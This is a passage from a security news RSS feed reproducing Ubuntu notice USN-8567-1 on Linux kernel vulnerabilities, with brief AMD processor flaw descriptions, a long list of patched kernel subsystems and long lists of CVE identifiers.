CVE-2026-46104, CVE-2026-46105, CVE-2026-46106, CVE-2026-46107,
CVE-2026-46108, CVE-2026-46109, CVE-2026-46110, CVE-2026-46111,
CVE-2026-46112, CVE-2026-46113, CVE-2026-46114, CVE-2026-46116,
CVE-2026-46117, CVE-2026-46118, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46130, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133,
CVE-2026-46134, CVE-2026-46136, CVE-2026-46138, CVE-2026-46139,
CVE-2026-46140, CVE-2026-46141, CVE-2026-46142, CVE-2026-46143,
CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46147,
CVE-2026-46148, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46152, CVE-2026-46153, CVE-2026-46154, CVE-2026-46156,
CVE-2026-46157, CVE-2026-46158, CVE-2026-46159, CVE-2026-46160,
CVE-2026-46161, CVE-2026-46162, CVE-2026-46163, CVE-2026-46164,
CVE-2026-46165, CVE-2026-46166, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46170, CVE-2026-46171, CVE-2026-46172,
CVE-2026-46173, CVE-2026-46174, CVE-2026-46175, CVE-2026-46176,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180,
CVE-2026-46181, CVE-2026-46182, CVE-2026-46183, CVE-2026-46184,
CVE-2026-46186, CVE-2026-46187, CVE-2026-46188, CVE-2026-46189,
CVE-2026-46190, CVE-2026-46191, CVE-2026-46192, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46202,
CVE-2026-46203, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46210,
CVE-2026-46211, CVE-2026-46212, CVE-2026-46213, CVE-2026-46214,
CVE-2026-46215, CVE-2026-46216, CVE-2026-46218, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46221, CVE-2026-46222, CVE-2026-46223,
CVE-2026-46224, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227,
CVE-2026-46228, CVE-2026-46229, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46232, CVE-2026-46233, CVE-2026-46234, CVE-2026-46235,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46239, CVE-2026-46240,
CVE-2026-46241, CVE-2026-46242, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46290, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46295, CVE-2026-46296,
CVE-2026-46297, CVE-2026-46298, CVE-2026-46299, CVE-2026-46301,
CVE-2026-46302, CVE-2026-46303, CVE-2026-46304, CVE-2026-46305,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46308, CVE-2026-46309,
CVE-2026-46310, CVE-2026-46311, CVE-2026-46312, CVE-2026-46313,
CVE-2026-46314, CVE-2026-46315, CVE-2026-46317, CVE-2026-46318,
CVE-2026-46319, CVE-2026-46320, CVE-2026-46321, CVE-2026-46322,
CVE-2026-46324, CVE-2026-52911, CVE-2026-52912, CVE-2026-52913,
CVE-2026-52914, CVE-2026-52915, CVE-2026-52916, CVE-2026-52918,
CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922,
CVE-2026-52923, CVE-2026-52925, CVE-2026-52926, CVE-2026-52927,
CVE-2026-52928, CVE-2026-52931, CVE-2026-52932, CVE-2026-52934,
CVE-2026-52936, CVE-2026-52937, CVE-2026-52941, CVE-2026-52943,
CVE-2026-52944, CVE-2026-52949, CVE-2026-52950, CVE-2026-52951,
CVE-2026-52952, CVE-2026-52953, CVE-2026-52954, CVE-2026-52955,
CVE-2026-52956, CVE-2026-52957, CVE-2026-52958, CVE-2026-52959,
CVE-2026-52960, CVE-2026-52961, CVE-2026-52962, CVE-2026-52963,
CVE-2026-52964, CVE-2026-52965, CVE-2026-52967, CVE-2026-52968,
CVE-2026-52969, CVE-2026-52970, CVE-2026-52971, CVE-2026-52973,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52976, CVE-2026-52977,
CVE-2026-52978, CVE-2026-52979, CVE-2026-52980, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52983, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52987, CVE-2026-52988, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52991, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52994, CVE-2026-52995, CVE-2026-52996, CVE-2026-52997,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53000, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53005,
CVE-2026-53006, CVE-2026-53007, CVE-2026-53008, CVE-2026-53009,
CVE-2026-53010, CVE-2026-53011, CVE-2026-53012, CVE-2026-53013,
CVE-2026-53014, CVE-2026-53015, CVE-2026-53016, CVE-2026-53017,
CVE-2026-53018, CVE-2026-53019, CVE-2026-53020, CVE-2026-53021,
CVE-2026-53022, CVE-2026-53023, CVE-2026-53024, CVE-2026-53025,
CVE-2026-53026, CVE-2026-53027, CVE-2026-53028, CVE-2026-53029,
CVE-2026-53030, CVE-2026-53031, CVE-2026-53032, CVE-2026-53033,
CVE-2026-53034, CVE-2026-53035, CVE-2026-53036, CVE-2026-53037,
CVE-2026-53038, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041,
CVE-2026-53042, CVE-2026-53043, CVE-2026-53044, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53051, CVE-2026-53052, CVE-2026-53053,
CVE-2026-53054, CVE-2026-53055, CVE-2026-53056, CVE-2026-53057,
CVE-2026-53058, CVE-2026-53059, CVE-2026-53060, CVE-2026-53061,
CVE-2026-53062, CVE-2026-53063, CVE-2026-53064, CVE-2026-53065,
CVE-2026-53066, CVE-2026-53067, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53070, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53078, CVE-2026-53079, CVE-2026-53080, CVE-2026-53081,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53087, CVE-2026-53088, CVE-2026-53089,
CVE-2026-53090, CVE-2026-53091, CVE-2026-53092, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53095, CVE-2026-53096, CVE-2026-53097,
CVE-2026-53098, CVE-2026-53099, CVE-2026-53100, CVE-2026-53101,
CVE-2026-53102, CVE-2026-53103, CVE-2026-53104, CVE-2026-53105,
CVE-2026-53106, CVE-2026-53107, CVE-2026-53108, CVE-2026-53109,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53113,
CVE-2026-53114, CVE-2026-53115, CVE-2026-53116, CVE-2026-53117,
CVE-2026-53118, CVE-2026-53119, CVE-2026-53120, CVE-2026-53121,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53124, CVE-2026-53125,
CVE-2026-53126, CVE-2026-53127, CVE-2026-53128, CVE-2026-53129,
CVE-2026-53130, CVE-2026-53174, CVE-2026-53277, CVE-2026-53278,
CVE-2026-53279, CVE-2026-53280, CVE-2026-53281, CVE-2026-53282,
CVE-2026-53283, CVE-2026-53284, CVE-2026-53285, CVE-2026-53286,
CVE-2026-53287, CVE-2026-53288, CVE-2026-53289, CVE-2026-53290,
CVE-2026-53291, CVE-2026-53292, CVE-2026-53293, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53297, CVE-2026-53298,
CVE-2026-53299, CVE-2026-53300, CVE-2026-53301, CVE-2026-53302,
CVE-2026-53303, CVE-2026-53304, CVE-2026-53305, CVE-2026-53306,
CVE-2026-53307, CVE-2026-53308, CVE-2026-53309, CVE-2026-53310,
CVE-2026-53311, CVE-2026-53312, CVE-2026-53313, CVE-2026-53314,
CVE-2026-53315, CVE-2026-53316, CVE-2026-53317, CVE-2026-53318,
CVE-2026-53319, CVE-2026-53320, CVE-2026-53321, CVE-2026-53322,
CVE-2026-53323, CVE-2026-53324, CVE-2026-53357, CVE-2026-53358,
CVE-2026-53360, CVE-2026-53364, CVE-2026-53365)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8567-1: Linux kernel vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3681567/unix-server/usn-8567-1-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681567/unix-server/usn-8567-1-linux-kernel-vulnerabilities/</guid>
<pubDate>Mon, 20 Jul 2026 17:46:49 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613,
CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618,
CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31634, CVE-2026-31638, CVE-2026-31639,
CVE-2026-31642, CVE-2026-31645, CVE-2026-31646, CVE-2026-31648,
CVE-2026-31651, CVE-2026-31655, CVE-2026-31656, CVE-2026-31658,
CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664,
CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671,
CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31675,
CVE-2026-31677, CVE-2026-31678, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31689, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31704, CVE-2026-31705,
CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709,
CVE-2026-31711, CVE-2026-31712, CVE-2026-31714, CVE-2026-31715,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31722,
CVE-2026-31723, CVE-2026-31724, CVE-2026-31725, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31729, CVE-2026-31730, CVE-2026-31731,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31740, CVE-2026-31741,
CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751,
CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756,
CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762,
CVE-2026-31763, CVE-2026-31767, CVE-2026-31768, CVE-2026-31770,
CVE-2026-31772, CVE-2026-31773, CVE-2026-31778, CVE-2026-31779,
CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43007,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43044, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43049, CVE-2026-43050, CVE-2026-43051,
CVE-2026-43052, CVE-2026-43054, CVE-2026-43056, CVE-2026-43057,
CVE-2026-43058, CVE-2026-43059, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43064, CVE-2026-43065, CVE-2026-43066,
CVE-2026-43068, CVE-2026-43069, CVE-2026-43072, CVE-2026-43073,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43081, CVE-2026-43082, CVE-2026-43084,
CVE-2026-43085, CVE-2026-43086, CVE-2026-43088, CVE-2026-43089,
CVE-2026-43091, CVE-2026-43092, CVE-2026-43093, CVE-2026-43094,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43107, CVE-2026-43109, CVE-2026-43110,
CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43129, CVE-2026-43162, CVE-2026-43245,
CVE-2026-43252, CVE-2026-43265, CVE-2026-43281, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330,
CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336,
CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43362, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366,
CVE-2026-43368, CVE-2026-43370, CVE-2026-43371, CVE-2026-43372,
CVE-2026-43373, CVE-2026-43377, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43395,
CVE-2026-43397, CVE-2026-43405, CVE-2026-43408, CVE-2026-43409,
CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43495,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43499, CVE-2026-43502,
CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45838,
CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842,
CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846,
CVE-2026-45855, CVE-2026-45858, CVE-2026-45899, CVE-2026-45911,
CVE-2026-45920, CVE-2026-45924, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45956, CVE-2026-45958, CVE-2026-45985, CVE-2026-45986,
CVE-2026-45987, CVE-2026-45989, CVE-2026-45991, CVE-2026-45994,
CVE-2026-45996, CVE-2026-45997, CVE-2026-45999, CVE-2026-46002,
CVE-2026-46003, CVE-2026-46004, CVE-2026-46005, CVE-2026-46006,
CVE-2026-46007, CVE-2026-46009, CVE-2026-46011, CVE-2026-46012,
CVE-2026-46015, CVE-2026-46016, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024,
CVE-2026-46026, CVE-2026-46027, CVE-2026-46031, CVE-2026-46033,
CVE-2026-46037, CVE-2026-46038, CVE-2026-46040, CVE-2026-46041,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053,
CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062,
CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46068,
CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073,
CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078,
CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083,
CVE-2026-46084, CVE-2026-46086, CVE-2026-46088, CVE-2026-46089,
CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113,
CVE-2026-46114, CVE-2026-46116, CVE-2026-46117, CVE-2026-46120,
CVE-2026-46121, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124,
CVE-2026-46125, CVE-2026-46126, CVE-2026-46127, CVE-2026-46128,
CVE-2026-46129, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133,
CVE-2026-46136, CVE-2026-46137, CVE-2026-46138, CVE-2026-46139,
CVE-2026-46142, CVE-2026-46143, CVE-2026-46144, CVE-2026-46145,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46152, CVE-2026-46157, CVE-2026-46159, CVE-2026-46160,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46164, CVE-2026-46167,
CVE-2026-46168, CVE-2026-46169, CVE-2026-46172, CVE-2026-46173,
CVE-2026-46174, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46179, CVE-2026-46180, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191,
CVE-2026-46193, CVE-2026-46194, CVE-2026-46196, CVE-2026-46197,
